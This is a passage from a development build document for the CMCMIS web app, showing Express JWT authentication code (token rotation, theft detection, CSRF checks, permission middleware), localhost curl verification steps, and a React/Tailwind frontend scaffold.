       JOIN permissions p       ON p.permission_id = rp.permission_id
      WHERE ur.user_id = ?`,
    [userId],
  );
  if (rows.length === 0) return { role_code: null, permissions: [] };
  return {
    role_code: rows[0].role_code,
    permissions: rows.map(r => r.permission_code),
  };
}

async function incrementFailedLogin(userId) {
  await pool.query(
    `UPDATE users SET failed_login_count = failed_login_count + 1, updated_at = NOW(6)
      WHERE user_id = ?`, [userId]);
}

async function recordSuccessfulLogin(userId, ipAddress) {
  await pool.query(
    `UPDATE users
        SET last_login_at = NOW(6), last_login_ip = ?,
            failed_login_count = 0, updated_at = NOW(6)
      WHERE user_id = ?`, [ipAddress, userId]);
}

module.exports = { findByEmployeeId, loadRoleAndPermissions,
                   incrementFailedLogin, recordSuccessfulLogin };
```

4.5.2 refreshTokens.repo.js

Stores sha256 hex of the JWT — never the raw token. If the DB is leaked, attackers hold a column of irreversible hashes; without the original signatures they cannot mint sessions.

```
// src/modules/auth/refreshTokens.repo.js
'use strict';
const pool = require('../../config/db');
const { sha256 } = require('../../utils/crypto');

const REVOKE_REASONS = ['LOGOUT','ROTATED','ADMIN_REVOKE','PASSWORD_CHANGE','EXPIRY_CLEANUP'];

async function persist({ userId, rawToken, expiresAt, userAgent, ipAddress }) {
  const tokenHash = sha256(rawToken);
  await pool.query(
    `INSERT INTO refresh_tokens (user_id, token_hash, expires_at, user_agent, ip_address)
     VALUES (?, ?, ?, ?, ?)`,
    [userId, tokenHash, expiresAt, userAgent || null, ipAddress || null]);
  return tokenHash;
}

async function findValid(rawToken) {
  const tokenHash = sha256(rawToken);
  const [rows] = await pool.query(
    `SELECT token_id, user_id, expires_at
       FROM refresh_tokens
      WHERE token_hash = ?
        AND revoked_at IS NULL
        AND expires_at > NOW(6)
      LIMIT 1`, [tokenHash]);
  return rows[0] || null;
}
```

```
async function revoke(rawToken, reason) {
  if (!REVOKE_REASONS.includes(reason)) throw new Error('invalid reason');
  const tokenHash = sha256(rawToken);
  await pool.query(
    `UPDATE refresh_tokens
        SET revoked_at = NOW(6), revoked_reason = ?
      WHERE token_hash = ? AND revoked_at IS NULL`,
    [reason, tokenHash]);
}

async function revokeAllForUser(userId, reason) {
  if (!REVOKE_REASONS.includes(reason)) throw new Error('invalid reason');
  await pool.query(
    `UPDATE refresh_tokens
        SET revoked_at = NOW(6), revoked_reason = ?
      WHERE user_id = ? AND revoked_at IS NULL`,
    [reason, userId]);
}

module.exports = { persist, findValid, revoke, revokeAllForUser, REVOKE_REASONS };
```

4.5.3 loginAudit.repo.js — Append-Only Writer

Every login attempt (success or failure) and every refresh / logout writes a row. BR-AUTH-06 satisfied.

```
// src/modules/auth/loginAudit.repo.js
'use strict';
const pool = require('../../config/db');

const OUTCOMES = [
  'SUCCESS','FAILED_BAD_PASSWORD','FAILED_USER_LOCKED','FAILED_USER_INACTIVE',
  'FAILED_NOT_FOUND','FAILED_INVALID_FORMAT','LOGOUT','TOKEN_REFRESH',
];

async function record({ employeeId, outcome, ipAddress, userAgent, notes }) {
  if (!OUTCOMES.includes(outcome)) throw new Error('invalid outcome');
  await pool.query(
    `INSERT INTO login_audit (employee_id, outcome, ip_address, user_agent, notes)
     VALUES (?, ?, ?, ?, ?)`,
    [employeeId, outcome, ipAddress || null, userAgent || null, notes || null]);
}

module.exports = { record, OUTCOMES };
```

4.6 Pulled-Forward Middleware (STEP 4 stub)

auth.routes.js references rateLimit.loginLimiter, rateLimit.refreshLimiter, and authenticate. The build doc explicitly authorises pulling these into STEP 3 as 'STEP 4 stub' so the routes can be wired end-to-end. STEP 4 then only adds the genuinely new authorize.js — the permission gate factory.

4.6.1 rateLimit.js

```
// src/middleware/rateLimit.js
'use strict';
const rateLimit = require('express-rate-limit');
const env = require('../config/env');

function rateLimitHandler(_req, res) {
  res.status(429).json({ error: {
    code: 'RATE_LIMITED',
    message: 'Too many requests. Please slow down and try again later.',
    details: null,
  }});
}

const loginLimiter = rateLimit({
  windowMs: env.LOGIN_RATE_WINDOW_MS,      // 15 min
  max:      env.LOGIN_RATE_MAX,            // 10 attempts
  standardHeaders: true, legacyHeaders: false,
  keyGenerator: req => req.ip,
  handler: rateLimitHandler,
  skipSuccessfulRequests: true,            // good logins don't burn the budget
});

const refreshLimiter = rateLimit({
  windowMs: 60 * 1000,                     // 1 min
  max: 30,
  standardHeaders: true, legacyHeaders: false,
  keyGenerator: req => req.ip,
  handler: rateLimitHandler,
});

module.exports = { loginLimiter, refreshLimiter };
```

4.6.2 authenticate.js

```
// src/middleware/authenticate.js
'use strict';
const jwt = require('jsonwebtoken');
const jwtCfg = require('../config/jwt');
const { errors } = require('./errorHandler');

function authenticate(req, _res, next) {
  const header = req.headers.authorization;
  if (!header || typeof header !== 'string' || !header.startsWith('Bearer ')) {
    return next(errors.unauthorized('Missing Bearer token'));
  }
  const token = header.slice(7).trim();
  if (!token) return next(errors.unauthorized('Missing Bearer token'));

  let payload;
  try {
    payload = jwt.verify(token, jwtCfg.accessSecret, { algorithms: [jwtCfg.alg] });
  } catch (e) {
    if (e?.name === 'TokenExpiredError') return next(errors.unauthorized('Token expired'));
    if (e?.name === 'JsonWebTokenError')  return next(errors.unauthorized('Token invalid'));
    return next(errors.unauthorized());
  }

  req.user = {
    employeeId:  payload.sub,
    userId:      payload.uid,
    role:        payload.role,
```

```
    permissions: Array.isArray(payload.permissions) ? payload.permissions : [],
  };
  next();
}

module.exports = authenticate;
```

SECURITY · alg-confusion defence

jwt.verify() is given an explicit algorithms allow-list ([HS256]).

Without this, an attacker could craft a token with alg:'none' or attempt RS-vs-HS confusion attacks.

Three distinct error messages (Missing / Expired / Invalid) so the FE interceptor can branch precisely.

4.7 auth.service.js — Where Authentication Happens

Composes the repos, applies BR-AUTH-01..07, emits typed AppErrors for the controller to forward. The single most security-critical detail in this file is the THEFT DETECTION block in refresh(): a refresh JWT with valid signature but missing/revoked in DB triggers revokeAllForUser — kicking attacker and legitimate user out, forcing a full re-login.

4.7.1 login()

```
// auth.service.js · login()
async function login({ employeeId, password, ipAddress, userAgent }) {
  const GENERIC_FAIL = 'Invalid credentials';  // same msg for all 4 fail paths — no enumeration

  const user = await usersRepo.findByEmployeeId(employeeId);
  if (!user) {
    await auditRepo.record({ employeeId, outcome: 'FAILED_NOT_FOUND', ipAddress, userAgent });
    throw errors.unauthorized(GENERIC_FAIL);
  }
  if (!user.is_active) {
    await auditRepo.record({ employeeId, outcome: 'FAILED_USER_INACTIVE', ipAddress, userAgent });
    throw errors.unauthorized(GENERIC_FAIL);
  }
  if (user.is_locked) {
    await auditRepo.record({ employeeId, outcome: 'FAILED_USER_LOCKED', ipAddress, userAgent });
    throw errors.unauthorized(GENERIC_FAIL);
  }

  const ok = await bcrypt.compare(password, user.password_hash);
  if (!ok) {
    await usersRepo.incrementFailedLogin(user.user_id);
    await auditRepo.record({ employeeId, outcome: 'FAILED_BAD_PASSWORD', ipAddress, userAgent });
    throw errors.unauthorized(GENERIC_FAIL);
  }

  const { role_code, permissions } = await usersRepo.loadRoleAndPermissions(user.user_id);
  const accessPayload = { sub: user.employee_id, uid: user.user_id, role: role_code, permissions };

  const accessToken  = jwt.sign(accessPayload, jwtCfg.accessSecret, {
    algorithm: jwtCfg.alg, expiresIn: jwtCfg.accessTtlSec,
    jwtid: `acc_${Date.now()}_${user.user_id}`,
  });
```

```
  const refreshToken = jwt.sign(
    { sub: user.employee_id, uid: user.user_id, type: 'refresh' },
    jwtCfg.refreshSecret,
    { algorithm: jwtCfg.alg, expiresIn: jwtCfg.refreshTtlSec,
      jwtid: `ref_${Date.now()}_${user.user_id}` });

  const expiresAt = dayjs().add(jwtCfg.refreshTtlSec, 'second').toDate();
  await refreshRepo.persist({
    userId: user.user_id, rawToken: refreshToken,
    expiresAt, userAgent, ipAddress });

  await usersRepo.recordSuccessfulLogin(user.user_id, ipAddress);
  await auditRepo.record({ employeeId, outcome: 'SUCCESS', ipAddress, userAgent });

  return { accessToken, refreshToken, user: accessPayload };
}
```

4.7.2 refresh() — rotation + theft detection

```
// auth.service.js · refresh()
async function refresh({ rawRefreshToken, ipAddress, userAgent }) {
  if (!rawRefreshToken) throw errors.unauthorized('No refresh token');

  let payload;
  try { payload = jwt.verify(rawRefreshToken, jwtCfg.refreshSecret, { algorithms:[jwtCfg.alg] }); }
  catch { throw errors.unauthorized('Invalid refresh token'); }

  const stored = await refreshRepo.findValid(rawRefreshToken);
  if (!stored) {
    // ★ THEFT DETECTION ★ — valid signature, no DB match → assume replay
    await refreshRepo.revokeAllForUser(payload.uid, 'ADMIN_REVOKE');
    throw errors.unauthorized('Refresh token not recognised — please sign in again');
  }

  // Atomic-ish rotation: revoke BEFORE issuing the replacement
  await refreshRepo.revoke(rawRefreshToken, 'ROTATED');

  const user = await usersRepo.findByEmployeeId(payload.sub);
  if (!user || !user.is_active || user.is_locked) {
    throw errors.unauthorized('User account is no longer active');
  }
  const { role_code, permissions } = await usersRepo.loadRoleAndPermissions(user.user_id);

  const accessPayload = { sub: user.employee_id, uid: user.user_id, role: role_code, permissions };
  const accessToken     = signAccess(accessPayload, user.user_id);
  const newRefreshToken = signRefresh(user);

  const expiresAt = dayjs().add(jwtCfg.refreshTtlSec, 'second').toDate();
  await refreshRepo.persist({ userId: user.user_id, rawToken: newRefreshToken,
                              expiresAt, userAgent, ipAddress });

  await auditRepo.record({ employeeId: user.employee_id, outcome: 'TOKEN_REFRESH',
                           ipAddress, userAgent });

  return { accessToken, refreshToken: newRefreshToken, user: accessPayload };
}
```

SECURITY · Theft-detection rationale

Refresh rotation alone protects against ONE-TIME replay: a stolen token is invalidated after the legitimate user's next refresh.

But what about: attacker steals the token, legit user refreshes (token now rotated), attacker tries the OLD token? Their request still carries a valid signature, but the hash isn't in refresh_tokens any more → without theft detection it would just silently fail.

With theft detection: we recognise 'valid signature + DB miss' as the unmistakable replay pattern and defensively kill EVERY session for that user. Both attacker AND legit user re-login; only the legit user has the password.

4.7.3 logout()

```
// auth.service.js · logout()
async function logout({ rawRefreshToken, employeeId, ipAddress, userAgent }) {
  if (rawRefreshToken) await refreshRepo.revoke(rawRefreshToken, 'LOGOUT');
  if (employeeId)      await auditRepo.record({
    employeeId, outcome: 'LOGOUT', ipAddress, userAgent });
}
```

4.8 auth.controller.js — Thin HTTP Shims

```
// src/modules/auth/auth.controller.js
'use strict';
const env = require('../../config/env');
const service = require('./auth.service');
const { randomToken } = require('../../utils/crypto');
const { errors } = require('../../middleware/errorHandler');
const {
  REFRESH_COOKIE_NAME, CSRF_COOKIE_NAME,
  refreshCookieOpts, csrfCookieOpts,
} = require('../../utils/cookies');

async function postLogin(req, res, next) {
  try {
    const { employee_id, password } = req.body;   // already zod-parsed
    const { accessToken, refreshToken, user } = await service.login({
      employeeId: employee_id, password,
      ipAddress: req.ip, userAgent: req.headers['user-agent'] || '' });

    res.cookie(REFRESH_COOKIE_NAME, refreshToken, refreshCookieOpts(env));
    const csrfToken = randomToken();
    res.cookie(CSRF_COOKIE_NAME, csrfToken, csrfCookieOpts(env));

    return res.json({ data: { accessToken, csrfToken, user } });
  } catch (e) { return next(e); }
}

async function postRefresh(req, res, next) {
  try {
    const rawRefreshToken = req.cookies[REFRESH_COOKIE_NAME];
    // Double-submit CSRF check
    const csrfHeader = req.headers['x-csrf-token'];
```

```
    const csrfCookie = req.cookies[CSRF_COOKIE_NAME];
    if (!csrfHeader || !csrfCookie || csrfHeader !== csrfCookie) {
      throw errors.forbidden('CSRF token missing or mismatched');
    }
    const { accessToken, refreshToken, user } = await service.refresh({
      rawRefreshToken, ipAddress: req.ip,
      userAgent: req.headers['user-agent'] || '' });

    res.cookie(REFRESH_COOKIE_NAME, refreshToken, refreshCookieOpts(env));
    const newCsrf = randomToken();
    res.cookie(CSRF_COOKIE_NAME, newCsrf, csrfCookieOpts(env));

    return res.json({ data: { accessToken, csrfToken: newCsrf, user } });
  } catch (e) { return next(e); }
}

async function postLogout(req, res, next) {
  try {
    const rawRefreshToken = req.cookies[REFRESH_COOKIE_NAME];
    const employeeId = req.user && req.user.employeeId;
    await service.logout({ rawRefreshToken, employeeId,
                           ipAddress: req.ip,
                           userAgent: req.headers['user-agent'] || '' });
    res.clearCookie(REFRESH_COOKIE_NAME, refreshCookieOpts(env));
    res.clearCookie(CSRF_COOKIE_NAME,    csrfCookieOpts(env));
    return res.status(204).end();
  } catch (e) { return next(e); }
}

module.exports = { postLogin, postRefresh, postLogout };
```

4.9 auth.routes.js — URL Wiring

```
// src/modules/auth/auth.routes.js
'use strict';
const express = require('express');
const validate = require('../../middleware/validate');
const { loginLimiter, refreshLimiter } = require('../../middleware/rateLimit');
const authenticate = require('../../middleware/authenticate');
const { loginSchema } = require('./auth.validators');
const ctrl = require('./auth.controller');

const router = express.Router();

router.post('/login',
  loginLimiter,
  validate(loginSchema, 'body'),
  ctrl.postLogin);

router.post('/refresh',
  refreshLimiter,
  ctrl.postRefresh);     // CSRF + cookie checks live inside the controller

router.post('/logout',
  authenticate,
  ctrl.postLogout);      // needs valid Bearer so audit row has a real employeeId

module.exports = router;
```

4.10 server.js — Mount the Auth Router

```
// src/server.js
// added after the /healthz route in server.js
const authRoutes = require('./modules/auth/auth.routes');
app.use(`${env.API_BASE_PATH}/auth`, authRoutes);    // → /api/v1/auth/*
```

4.11 STEP 3 Verification Gate

```
// bash
# Happy path — login
curl -X POST http://localhost:3000/api/v1/auth/login \
     -H 'Content-Type: application/json' \
     -d '{"employee_id":"SA79900","password":"SA79900"}' \
     -i -c cookies.txt
# → 200 OK
# → Set-Cookie: cmcmis_rt=...; HttpOnly; Path=/api/v1/auth; SameSite=Lax
# → Set-Cookie: cmcmis_csrf=...; SameSite=Lax
# → {"data":{"accessToken":"...","csrfToken":"...","user":{...}}}

# Failure paths
curl -X POST http://localhost:3000/api/v1/auth/login \
     -H 'Content-Type: application/json' \
     -d '{"employee_id":"SA79900","password":"WRONG12"}'
# → 401 {"error":{"code":"UNAUTHORIZED","message":"Invalid credentials",...}}

curl -X POST http://localhost:3000/api/v1/auth/login \
     -H 'Content-Type: application/json' \
     -d '{"employee_id":"abc","password":"x"}'
# → 422 {"error":{"code":"VALIDATION_ERROR",...,"details":[{path:"employee_id",...}]}}

curl -X POST http://localhost:3000/api/v1/auth/refresh -b cookies.txt
# → 403 {"error":{"code":"FORBIDDEN","message":"CSRF token missing or mismatched"...}}

# SQL spot-check
# SELECT outcome, COUNT(*) FROM final.login_audit
#  WHERE attempt_at > NOW() - INTERVAL 5 MINUTE GROUP BY outcome;
# → SUCCESS, FAILED_BAD_PASSWORD rows visible.
```

VERIFIED · STEP 3 acceptance

login returns 200 + cookies + JSON.

Wrong password → 401, audit row written with outcome FAILED_BAD_PASSWORD.

Malformed body → 422 with per-field details[].

Refresh without X-CSRF-Token header → 403 CSRF mismatch.

refresh_tokens row hash starts with 64 hex chars — never a raw JWT string.

Part V · STEP 4 · JWT Middleware Layer (authorize.js)

authenticate.js and rateLimit.js were pulled forward during STEP 3 because the auth routes depend on them. The only genuinely new file in STEP 4 is authorize.js — the permission-gate factory used by every protected endpoint from now on.

5.1 BR-RBAC-03 — Check Permissions, Not Roles

IMPORTANT · The locked rule

NEVER branch on req.user.role. Always branch on req.user.permissions.includes(code).

Roles are convenience labels. Permissions are the atomic units the JWT actually carries.

Future role-permission edits then become CONFIG changes (Phase 3 seed file edits), not CODE refactors.

5.2 authorize.js — Single-Permission + Any-Of Factories

```
// src/middleware/authorize.js
'use strict';
const { errors } = require('./errorHandler');

function authorize(permission) {
  if (typeof permission !== 'string' || permission.length === 0) {
    throw new Error('authorize(): permission must be a non-empty string');
  }
  return function authorizeMiddleware(req, _res, next) {
    if (!req.user || !Array.isArray(req.user.permissions)) {
      return next(errors.unauthorized('Authentication required'));
    }
    if (!req.user.permissions.includes(permission)) {
      req.log?.warn?.({
        permission, employeeId: req.user.employeeId, role: req.user.role,
        permissionCount: req.user.permissions.length, path: req.originalUrl,
      }, 'Permission denied');
      return next(errors.forbidden(`Missing required permission: ${permission}`));
    }
    return next();
  };
}

function authorizeAny(...permissions) {
  if (permissions.length === 0 || permissions.some(p => typeof p !== 'string' || !p)) {
    throw new Error('authorizeAny(): need one or more non-empty permission strings');
  }
  return function authorizeAnyMiddleware(req, _res, next) {
    if (!req.user || !Array.isArray(req.user.permissions)) {
      return next(errors.unauthorized());
    }
    const owned = new Set(req.user.permissions);
    if (!permissions.some(p => owned.has(p))) {
      return next(errors.forbidden(
```

```
        `Missing any of required permissions: ${permissions.join(', ')}`));
    }
    return next();
  };
}

module.exports = authorize;
module.exports.authorizeAny = authorizeAny;
```

5.3 The 401 vs 403 Distinction

HTTP code	Meaning	FE response in axios interceptor
401 UNAUTHORIZED	You are not authenticated (missing/expired/invalid token).	Trigger silent /auth/refresh, retry once. If refresh fails → bounce to /login.
403 FORBIDDEN	You are authenticated but lack a required permission.	Do NOT retry refresh (would loop). Render Forbidden page in place.

> **INFO · Why conflating them would loop forever**
>
> If a 403 triggered refresh, the new access token still wouldn't have the permission → another 403 → another refresh → DDoS your own backend.
>
> Every authorize() denial is therefore strictly 403. Every authenticate() denial is strictly 401.

5.4 Forensics — Every Denial Emits a warn Line

authorize logs the requested permission, the authenticated employee_id, the user's role, and the path. Sustained 403s from one user mean either (a) the FE rendered an action it shouldn't have, or (b) someone is probing for excess privilege. Both are worth investigating.

```
// log line shape
{
  "level": "warn",
  "permission": "user:read-list",
  "employeeId": "DS00001",
  "role": "NORMAL_USER",
  "permissionCount": 13,
  "path": "/api/v1/admin/users",
  "msg": "Permission denied"
}
```

5.5 STEP 4 Verification

authorize has no gated endpoint yet (those land in STEP 5 + STEP 8). The factory itself was smoke-tested out-of-band:

```
// bash
// Build-time validation
authorize('');               // → throws at module load
authorizeAny();              // → throws at module load

// Runtime FORBIDDEN
mw({user:{permissions:['other:thing'],employeeId:'DS00001',role:'NORMAL_USER'},log:{warn(){}}}, {},
fn);
// → fn(AppError('FORBIDDEN'))

// Runtime UNAUTHORIZED (missing req.user)
mw({log:{warn(){}}}, {}, fn);
// → fn(AppError('UNAUTHORIZED'))
```

VERIFIED · STEP 4 acceptance

authorize('x') returns a function.

authorize('') throws at module load (fail-fast misconfig).

FORBIDDEN branch fires when permission missing.

UNAUTHORIZED branch fires when req.user absent (defensive coverage).

Part VI · STEP 5 · Users Module (GET /me)

The smallest step. One controller + one router + an app.use line. GET /me returns the authenticated user's identity and permission set — used by the frontend to hydrate after a page reload.

6.1 users.controller.js

```
// src/modules/users/users.controller.js
'use strict';
async function getMe(req, res) {
  if (!req.user) {
    return res.status(500).json({ error: {
      code: 'INTERNAL',
      message: 'authenticate middleware did not populate req.user',
      details: null }});
  }
  return res.json({ data: {
    employeeId: req.user.employeeId,
    userId:     req.user.userId,
    role:       req.user.role,
    permissions: req.user.permissions,
  }});
}
module.exports = { getMe };
```

6.2 users.routes.js

```
// src/modules/users/users.routes.js
'use strict';
const express = require('express');
const authenticate = require('../../middleware/authenticate');
const { getMe } = require('./users.controller');

const router = express.Router();
router.get('/me', authenticate, getMe);
module.exports = router;
```

6.3 server.js mount

```
// src/server.js
const usersRoutes = require('./modules/users/users.routes');
app.use(`${env.API_BASE_PATH}`, usersRoutes);   // → /api/v1/me
```

6.4 Why /me Does Not Hit the Database

authenticate.js already decoded the JWT into req.user. Everything /me returns is in that object. A DB round-trip per call would be 100% redundant — and /me is one of the most frequently called endpoints (every page reload). If we later need to enrich it with server-side state (profile photo, last_login_at), we add a users.repo.findProfile() then — not preemptively.

6.5 STEP 5 Verification

```
// bash
# Without token → 401
curl -i http://localhost:3000/api/v1/me
# → 401 {"error":{"code":"UNAUTHORIZED","message":"Missing Bearer token"...}}

# Login first, capture accessToken
LOGIN=$(curl -s -X POST http://localhost:3000/api/v1/auth/login \
        -H 'Content-Type: application/json' \
        -d '{"employee_id":"SA79900","password":"SA79900"}')
ACCESS=$(echo "$LOGIN" | python -c "import
sys,json;print(json.load(sys.stdin)['data']['accessToken'])")

# With valid Bearer → 200 + user payload
curl -i http://localhost:3000/api/v1/me -H "Authorization: Bearer $ACCESS"
# → {"data":{"employeeId":"SA79900","userId":1,"role":"SUPER_ADMIN","permissions":[...]}}
```

Part VII · STEP 6 · Frontend Scaffold (JavaScript)

Goal: a Vite + React + Tailwind 3 frontend that renders a canary page styled with the 11 locked design tokens. Every component is .jsx; every config is .js. Zero TypeScript anywhere.

> **IMPORTANT · Brief history of this step**
>
> The first attempt at STEP 6 used TypeScript (because the build doc had .tsx examples).
>
> DS interrupted and asked to wipe the FE folder and restart in pure JavaScript.
>
> Memory entry feedback-javascript-only was created so this never happens again.
>
> Every byte of FE code below is the JS rebuild.

7.1 Folder Structure

```
// tree
FE/src/
├── main.jsx
├── App.jsx
├── components/
│   ├── Brand.jsx
│   └── ui/
│       ├── Badge.jsx
│       ├── Button.jsx
│       ├── FormField.jsx
│       ├── Input.jsx
│       └── Spinner.jsx
└── styles/globals.css
```

7.2 package.json (FE)

Critical absences vs Phase 4's first TS attempt: no @types/*, no typescript, no tsconfig*.json scripts.

```
// package.json
{
  "name": "cmcmis-fe",
  "private": true,
  "version": "1.0.0",
  "type": "module",
  "scripts": {
    "dev":     "vite",
    "build":   "vite build",
    "preview": "vite preview --port 4173"
  },
  "dependencies": {
    "@hookform/resolvers": "^3.9.0",
    "axios": "^1.7.7", "clsx": "^2.1.1",
    "lucide-react": "^0.454.0",
    "react": "^18.3.1", "react-dom": "^18.3.1",
    "react-hook-form": "^7.53.0",
    "react-router-dom": "^6.27.0",
```

```
    "zod": "^3.23.0"
  },
  "devDependencies": {
    "@tailwindcss/forms": "^0.5.9",
    "@vitejs/plugin-react": "^4.3.2",
    "autoprefixer": "^10.4.20",
    "postcss": "^8.4.47",
    "tailwindcss": "^3.4.13",
    "vite": "^5.4.8"
  }
}
```

7.3 vite.config.js — /api proxy + path alias

```
// vite.config.js
import { defineConfig } from 'vite';
import react from '@vitejs/plugin-react';
import path from 'node:path';
import { fileURLToPath } from 'node:url';

const __filename = fileURLToPath(import.meta.url);
const __dirname  = path.dirname(__filename);

export default defineConfig({
  plugins: [react()],
  resolve: { alias: { '@': path.resolve(__dirname, './src') } },
  server: {
    port: 5173, strictPort: true,
    proxy: { '/api': { target: 'http://localhost:3000', changeOrigin: true } },
  },
  build: { sourcemap: true, target: 'es2020', outDir: 'dist', emptyOutDir: true },
});
```

7.4 tailwind.config.js — 11 Design Tokens

Single source of truth for every color. Component code references tokens by name (bg-base, text-ink, border-border, bg-accent hover:bg-accent-hover); raw hex literals anywhere else are a design-system violation.

```
// tailwind.config.js
import forms from '@tailwindcss/forms';

/** @type {import('tailwindcss').Config} */
export default {
  content: ['./index.html', './src/**/*.{js,jsx}'],
  theme: {
    extend: {
      colors: {
        base:   { DEFAULT: '#F5F6FA', elev: '#EEF1F7' },   // 60% — page + cards
        ink:    { DEFAULT: '#2F3545', soft: '#4B5563' },   // 30% — text
        border: '#E5E7EB',                                 // 30% — hairlines
        accent: { DEFAULT: '#4F5DFF', hover: '#5B6CFF' },  // 10% — CTAs + focus
        success: '#4CAF50',
        warning: '#F59E0B',
        danger:  '#EF4444',
```

```
        badge:   '#8B5CF6',
      },
      fontFamily: {
        sans: ['Inter','system-ui','-apple-system','Segoe UI','Roboto','sans-serif'],
      },
      boxShadow: {
        card: '0 1px 2px 0 rgb(15 23 42 / 0.04), 0 1px 1px 0 rgb(15 23 42 / 0.03)',
      },
    },
  },
  plugins: [forms],
};
```

Color tokens — the 60-30-10 distribution

Role (60/30/10)	Token	Hex	Used for
60% neutral	base	#F5F6FA	Page background, sidebar fill
60% neutral	base-elev	#EEF1F7	Cards, hover surfaces
30% text	ink	#2F3545	Body text, headings
30% text	ink-soft	#4B5563	Captions, table headers
30% hairline	border	#E5E7EB	Input borders, dividers
10% accent	accent	#4F5DFF	Primary CTA, active nav, focus ring
10% accent	accent-hover	#5B6CFF	Hover state of accent
status	success	#4CAF50	OK badges, active dots
status	warning	#F59E0B	Soft alerts
status	danger	#EF4444	Error banners, 403 page icon
status	badge	#8B5CF6	Role pill (SUPER_ADMIN, NORMAL_USER, …)

7.5 index.html — Title + Inter Font

```
// index.html
<!doctype html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta name="theme-color" content="#F5F6FA" />
    <link rel="preconnect" href="https://fonts.googleapis.com" />
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap"
          rel="stylesheet" />
    <title>CMCMIS · Sign In</title>
  </head>
  <body>
    <div id="root"></div>
    <script type="module" src="/src/main.jsx"></script>
  </body>
</html>
```

7.6 styles/globals.css — Tailwind Directives + Base Layer

```
// src/styles/globals.css
@tailwind base;
@tailwind components;
@tailwind utilities;

@layer base {
  html, body, #root { height: 100%; }
  body {
    @apply bg-base text-ink font-sans antialiased;
    font-variant-numeric: tabular-nums;
  }
  *:focus-visible {
    @apply outline-none ring-2 ring-accent ring-offset-2 ring-offset-base;
  }
}
```

7.7 main.jsx — React 18 Mount

```
// src/main.jsx
import React from 'react';
import ReactDOM from 'react-dom/client';
import './styles/globals.css';
import { App } from './App.jsx';

const rootElement = document.getElementById('root');
if (!rootElement) throw new Error('#root element not found');

ReactDOM.createRoot(rootElement).render(
  <React.StrictMode>
    <App />
  </React.StrictMode>,
);
```

7.8 Brand.jsx — Reusable Wordmark

CMCMIS in ink color + a small accent-color dot. Three sizes for use above the Login card, in the Sidebar header, and inline elsewhere.

```
// src/components/Brand.jsx
import clsx from 'clsx';

const SIZE_STYLES = {
  sm: 'text-base tracking-tight',
  md: 'text-xl tracking-tight',
  lg: 'text-3xl tracking-tight',
};
```

```
/**
 * @param {{ size?: 'sm'|'md'|'lg', className?: string }} props
 */
export function Brand({ size = 'md', className }) {
  return (
    <span className={clsx('font-semibold text-ink select-none',
                          SIZE_STYLES[size], className)}
          aria-label="CMCMIS">
      CMCMIS
      <span className="text-accent ml-0.5" aria-hidden="true">·</span>
    </span>
  );
}
```

7.9 UI Primitives — Button, Input, FormField, Badge, Spinner

Five tiny, composable building blocks. Together they cover ~95% of the form / button / label / chip / loading-indicator needs of the entire app.

7.9.1 Button.jsx

```
// src/components/ui/Button.jsx
import clsx from 'clsx';

const SHARED =
  'inline-flex items-center justify-center gap-2 rounded-md font-medium ' +
  'transition-colors focus:outline-none focus-visible:ring-2 ' +
  'focus-visible:ring-accent focus-visible:ring-offset-2 ' +
  'focus-visible:ring-offset-base disabled:opacity-50 disabled:cursor-not-allowed';

const VARIANTS = {
  primary:   'bg-accent text-white hover:bg-accent-hover active:bg-accent-hover/90',
  secondary: 'bg-base-elev text-ink border border-border hover:bg-base active:bg-base/80',
  ghost:     'bg-transparent text-ink hover:bg-base-elev active:bg-base-elev/80',
};
const SIZES = { sm: 'px-2.5 py-1.5 text-xs', md: 'px-4 py-2 text-sm' };

export function Button({ variant='primary', size='md', type='button',
                         className, children, ...rest }) {
  return (
    <button type={type}
            className={clsx(SHARED, VARIANTS[variant], SIZES[size], className)}
            {...rest}>
      {children}
    </button>
  );
}
```

7.9.2 Input.jsx — forwardRef for react-hook-form

```
// src/components/ui/Input.jsx
import { forwardRef } from 'react';
import clsx from 'clsx';
```

```
const BASE =
  'block w-full rounded-md border bg-white text-ink placeholder:text-ink-soft/60 ' +
  'shadow-card transition-colors disabled:opacity-50 disabled:cursor-not-allowed';
const SIZES = { sm: 'px-2.5 py-1.5 text-xs', md: 'px-3 py-2 text-sm' };

export const Input = forwardRef(function Input(
  { size='md', invalid=false, className, ...rest }, ref) {
  return (
    <input ref={ref}
           aria-invalid={invalid || undefined}
           className={clsx(BASE, SIZES[size],
             invalid ? 'border-danger focus:border-danger focus:ring-danger'
                     : 'border-border focus:border-accent focus:ring-accent',
             'focus:outline-none focus:ring-1', className)}
           {...rest} />
  );
});
```

7.9.3 FormField.jsx — label + control + helper/error

```
// src/components/ui/FormField.jsx
import { useId, Children, cloneElement, isValidElement } from 'react';
import clsx from 'clsx';

export function FormField({ label, children, helper, error, htmlFor, className }) {
  const autoId  = useId();
  const inputId = htmlFor || autoId;

  return (
    <div className={clsx('space-y-1', className)}>
      <label htmlFor={inputId} className="block text-sm font-medium text-ink">
        {label}
      </label>
      {wireChild(children, inputId, Boolean(error))}
      {error
        ? <p className="text-xs text-danger" role="alert">{error}</p>
        : helper
          ? <p className="text-xs text-ink-soft">{helper}</p>
          : null}
    </div>
  );
}

function wireChild(children, id, invalid) {
  if (!isValidElement(children)) return children;
  if (Children.count(children) !== 1) return children;
  const next = {};
  if (!children.props.id)      next.id = id;
  if (invalid && children.props.invalid === undefined) next.invalid = true;
  return Object.keys(next).length ? cloneElement(children, next) : children;
}
```

7.9.4 Badge.jsx — Status Pill

```
// src/components/ui/Badge.jsx
import clsx from 'clsx';
```

```
const COLORS = {
  badge:   'bg-badge/10   text-badge',
  success: 'bg-success/10 text-success',
  warning: 'bg-warning/10 text-warning',
  danger:  'bg-danger/10  text-danger',
  accent:  'bg-accent/10  text-accent',
  ink:     'bg-base-elev  text-ink-soft',
};

export function Badge({ color='ink', className, children }) {
  return (
    <span className={clsx(
      'inline-flex items-center gap-1 rounded-md px-2 py-0.5 text-xs font-medium',
      COLORS[color], className)}>
      {children}
    </span>
  );
}
```

7.9.5 Spinner.jsx — Inline Loader

```
// src/components/ui/Spinner.jsx
import { Loader2 } from 'lucide-react';
import clsx from 'clsx';

export function Spinner({ size=16, className }) {
  return (
    <Loader2 size={size} strokeWidth={1.5} aria-hidden="true"
             className={clsx('animate-spin', className)} />
  );
}
```

7.10 STEP 6 Verification

